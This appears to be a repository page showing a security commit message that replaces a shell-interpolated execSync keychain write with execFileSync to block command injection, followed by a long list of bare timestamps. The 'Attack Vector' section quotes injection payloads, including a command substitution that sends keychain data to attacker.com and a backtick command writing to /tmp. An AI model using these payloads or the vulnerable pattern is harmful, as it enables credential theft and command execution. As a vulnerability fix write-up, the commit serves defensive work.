Aether AI
9dce3d8bf8
fix(security): prevent shell injection in macOS keychain credential write ( #15924 )
...
Replace execSync with execFileSync in writeClaudeCliKeychainCredentials
to prevent command injection via malicious OAuth token values (OC-28,
CWE-78, Severity: HIGH).
## Vulnerable Code
The previous implementation built a shell command via string
interpolation with single-quote escaping:
execSync(`security add-generic-password -U -s "..." -a "..." -w '${newValue.replace(/'/g, "'\"'\"'")}'`)
The replace() call only handles literal single quotes, but /bin/sh
still interprets other shell metacharacters inside the resulting
command string.
## Attack Vector
User-controlled OAuth tokens (from a malicious OAuth provider response)
could escape single-quote protection via:
- Command substitution: $(curl attacker.com/exfil?data=$(security ...))
- Backtick expansion: `id > /tmp/pwned`
These payloads bypass the single-quote escaping because $() and
backtick substitution are processed by the shell before the quotes
are evaluated, enabling arbitrary command execution as the gateway
user.
## Fix
execFileSync spawns the security binary directly, passing arguments
as an array that is never shell-interpreted:
execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", newValue])
This eliminates the shell injection vector entirely — no escaping
needed, the OS handles argument boundaries natively.
2026-02-14 17:06:10 +01:00
..
2026-02-13 17:57:30 +00:00
2026-02-14 16:49:38 +01:00
2026-02-14 16:34:02 +01:00
2026-02-14 15:39:45 +00:00
2026-02-14 15:39:44 +00:00
2026-02-14 15:39:44 +00:00
2026-01-31 16:19:20 +09:00
2026-02-14 15:39:45 +00:00
2026-02-13 16:29:10 +01:00
2026-02-14 15:39:45 +00:00
2026-02-13 14:28:22 +00:00
2026-02-01 10:03:47 +09:00
2026-02-13 14:28:22 +00:00
2026-02-08 16:20:13 -05:00
2026-02-14 15:39:46 +00:00
2026-02-01 10:03:47 +09:00
2026-02-13 16:29:10 +01:00
2026-02-13 14:28:22 +00:00
2026-02-13 15:42:05 +00:00
2026-02-13 14:28:22 +00:00
2026-01-31 16:19:20 +09:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 15:48:37 +01:00
2026-02-13 16:49:28 +01:00
2026-02-13 16:49:28 +01:00
2026-02-13 20:03:01 +00:00
2026-02-13 19:08:37 +00:00
2026-02-13 19:19:15 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 19:19:15 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 19:08:37 +00:00
2026-02-13 14:28:22 +00:00
2026-02-08 04:53:31 -08:00
2026-02-08 23:59:43 -08:00
2026-01-14 05:39:59 +00:00
2026-02-13 14:28:22 +00:00
2026-02-01 10:03:47 +09:00
2026-02-13 14:28:22 +00:00
2026-02-14 00:45:45 +01:00
2026-02-13 14:28:22 +00:00
2026-02-01 10:03:47 +09:00
2026-02-13 14:28:22 +00:00
2026-02-14 15:39:46 +00:00
2026-02-13 14:28:22 +00:00
2026-02-01 10:03:47 +09:00
2026-02-13 14:28:22 +00:00
2026-02-14 15:28:52 +01:00
2026-02-14 15:28:52 +01:00
2026-02-13 14:28:22 +00:00
2026-01-11 11:45:25 +00:00
2026-02-05 12:09:23 -08:00
2026-02-14 17:06:10 +01:00
2026-02-14 17:06:10 +01:00
2026-02-14 16:49:38 +01:00
2026-02-06 13:16:58 -05:00
2026-01-31 16:19:20 +09:00
2026-02-04 04:10:13 -08:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 00:46:56 +01:00
2026-02-13 14:28:22 +00:00
2026-02-01 20:04:53 +05:30
2026-01-31 16:19:20 +09:00
2026-02-10 18:58:45 -06:00
2026-01-31 16:19:20 +09:00
2026-02-05 16:54:44 -05:00
2026-02-01 10:03:47 +09:00
2026-02-13 14:28:22 +00:00
2026-02-08 23:12:06 -08:00
2026-02-14 15:39:44 +00:00
2026-01-19 00:34:26 +00:00
2026-02-13 16:18:16 +01:00
2026-02-13 16:18:16 +01:00
2026-02-13 14:28:22 +00:00
2026-02-01 10:03:47 +09:00
2026-02-13 14:28:22 +00:00
2026-02-01 10:03:47 +09:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-04 16:16:34 -05:00
2026-01-20 10:51:25 +00:00
2026-02-13 14:28:22 +00:00
2026-02-12 09:18:06 -05:00
2026-02-13 11:39:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-09 22:31:58 -06:00
2026-02-13 14:28:22 +00:00
2026-02-09 17:02:55 -08:00
2026-01-19 00:34:26 +00:00
2026-02-13 15:53:32 +00:00
2026-02-14 05:48:40 +01:00
2026-02-13 16:46:43 +00:00
2026-02-13 11:39:22 +00:00
2026-02-13 11:39:37 +00:00
2026-02-13 14:28:22 +00:00
2026-01-31 16:19:20 +09:00
2026-02-13 14:28:22 +00:00
2026-02-09 19:21:33 -08:00
2026-02-14 01:07:35 +01:00
2026-02-13 14:28:22 +00:00
2026-02-13 18:13:18 +01:00
2026-02-13 14:28:22 +00:00
2026-02-05 16:54:44 -05:00
2026-02-13 15:53:32 +00:00
2026-02-13 15:53:32 +00:00
2026-02-13 15:53:32 +00:00
2026-02-13 16:20:37 +00:00
2026-02-13 14:44:36 -05:00
2026-02-14 05:48:40 +01:00
2026-02-14 01:20:42 +01:00
2026-02-13 14:28:22 +00:00
2026-02-14 05:48:40 +01:00
2026-02-13 15:48:37 +01:00
2026-02-13 15:53:32 +00:00
2026-02-11 10:51:59 -05:00
2026-02-13 15:53:32 +00:00
2026-02-14 12:23:51 +01:00
2026-02-14 01:20:42 +01:00
2026-02-14 01:20:42 +01:00
2026-02-13 20:26:39 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-14 13:27:45 +01:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 16:29:10 +01:00
2026-02-13 14:28:22 +00:00
2026-02-05 19:55:02 -05:00
2026-02-13 11:39:37 +00:00
2026-02-13 11:39:37 +00:00
2026-02-13 14:28:22 +00:00
2026-02-02 01:22:41 -08:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-14 16:34:02 +01:00
2026-02-13 14:28:22 +00:00
2026-02-12 18:23:27 +00:00
2026-02-13 14:28:22 +00:00
2026-01-31 16:19:20 +09:00
2026-02-13 14:28:22 +00:00
2026-02-01 10:03:47 +09:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 18:18:57 -06:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 20:35:43 +01:00
2026-02-13 18:18:57 -06:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 16:21:59 +00:00
2026-02-13 16:20:37 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 18:18:57 -06:00
2026-02-13 14:28:22 +00:00
2026-02-12 18:14:14 -06:00
2026-02-07 20:02:32 -08:00
2026-02-14 02:50:35 +01:00
2026-02-12 18:48:11 -06:00
2026-02-12 18:48:11 -06:00
2026-02-01 10:03:47 +09:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-01 10:03:47 +09:00
2026-02-12 18:48:11 -06:00
2026-02-12 18:48:11 -06:00
2026-02-13 14:28:22 +00:00
2026-02-10 15:04:52 -05:00
2026-01-06 02:23:55 +01:00
2026-02-01 10:03:47 +09:00
2026-02-13 14:28:22 +00:00
2026-01-30 03:16:21 +01:00
2026-02-14 02:50:35 +01:00
2026-02-13 14:28:22 +00:00
2026-02-14 02:50:35 +01:00
2026-02-14 02:34:04 +01:00
2026-02-13 18:13:18 +01:00
2026-02-14 02:50:35 +01:00
2026-02-14 02:50:35 +01:00
2026-02-13 14:28:22 +00:00
2026-02-13 15:42:05 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 16:29:10 +01:00
2026-02-13 14:28:22 +00:00
2026-02-14 15:39:44 +00:00
2026-02-13 16:29:10 +01:00
2026-02-13 14:28:22 +00:00
2026-01-31 16:19:20 +09:00
2026-02-14 15:39:45 +00:00
2026-02-02 16:18:09 +09:00
2026-02-13 14:28:22 +00:00
2026-02-13 19:57:02 +01:00
2026-02-13 14:28:22 +00:00
2026-01-17 08:06:35 +00:00
2026-02-13 14:28:22 +00:00
2026-02-08 23:59:43 -08:00
2026-02-13 16:20:37 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-04 19:11:23 -05:00
2026-02-13 16:04:49 +00:00
2026-02-13 15:58:08 +00:00
2026-01-14 15:02:19 +00:00
2026-02-13 14:28:22 +00:00
2026-02-02 23:56:27 +00:00
2026-02-13 14:28:22 +00:00
2026-01-31 16:19:20 +09:00
2026-02-13 02:02:01 +01:00
2026-02-13 14:28:22 +00:00
2026-02-13 17:32:14 +00:00
2026-02-13 02:02:01 +01:00
2026-02-13 14:28:22 +00:00
2026-02-05 16:08:46 -08:00
2026-02-13 14:28:22 +00:00
2026-02-13 17:32:14 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-07 09:32:31 -08:00
2026-02-14 14:42:08 +01:00
2026-02-14 14:42:08 +01:00
2026-02-13 14:28:22 +00:00
2026-02-14 15:39:45 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-01-31 07:54:15 +00:00
2026-01-31 16:19:20 +09:00
2026-02-14 00:28:20 +00:00
2026-02-14 00:28:20 +00:00
2026-02-13 15:53:32 +00:00
2026-02-13 15:53:32 +00:00
2026-02-13 15:53:32 +00:00
2026-02-14 02:13:42 +01:00
2026-02-13 14:28:22 +00:00
2026-02-07 09:32:31 -08:00
2026-02-01 10:03:47 +09:00
2026-02-13 14:28:22 +00:00
2026-02-12 15:27:56 -05:00
2026-02-13 14:28:22 +00:00
2026-02-07 20:02:32 -08:00
2026-02-10 08:49:34 +09:00
2026-02-13 14:28:22 +00:00
2026-02-01 10:03:47 +09:00
2026-02-13 14:28:22 +00:00
2026-02-02 17:36:49 +00:00
2026-01-31 16:19:20 +09:00
2026-02-13 14:28:22 +00:00
2026-02-01 10:03:47 +09:00
2026-02-14 15:39:45 +00:00
2026-02-14 15:39:45 +00:00
2026-02-13 14:28:22 +00:00
2026-02-01 01:57:49 -08:00
2026-02-13 14:28:22 +00:00
2026-02-13 14:28:22 +00:00
2026-02-04 19:49:36 -05:00
2026-01-31 16:19:20 +09:00
2026-02-13 16:46:43 +00:00
2026-02-13 11:39:51 +00:00
2026-02-13 11:39:51 +00:00
2026-02-13 14:28:22 +00:00
2026-02-12 23:52:19 -05:00
2026-02-14 02:23:35 +01:00
2026-02-13 14:28:22 +00:00
2026-02-06 13:16:58 -05:00
2026-02-13 14:28:22 +00:00
2026-02-09 18:56:58 -08:00
2026-02-13 16:04:49 +00:00
2026-02-14 06:33:14 -06:00
2026-02-14 00:45:45 +01:00
2026-02-14 06:33:14 -06:00
2026-02-12 07:01:48 -06:00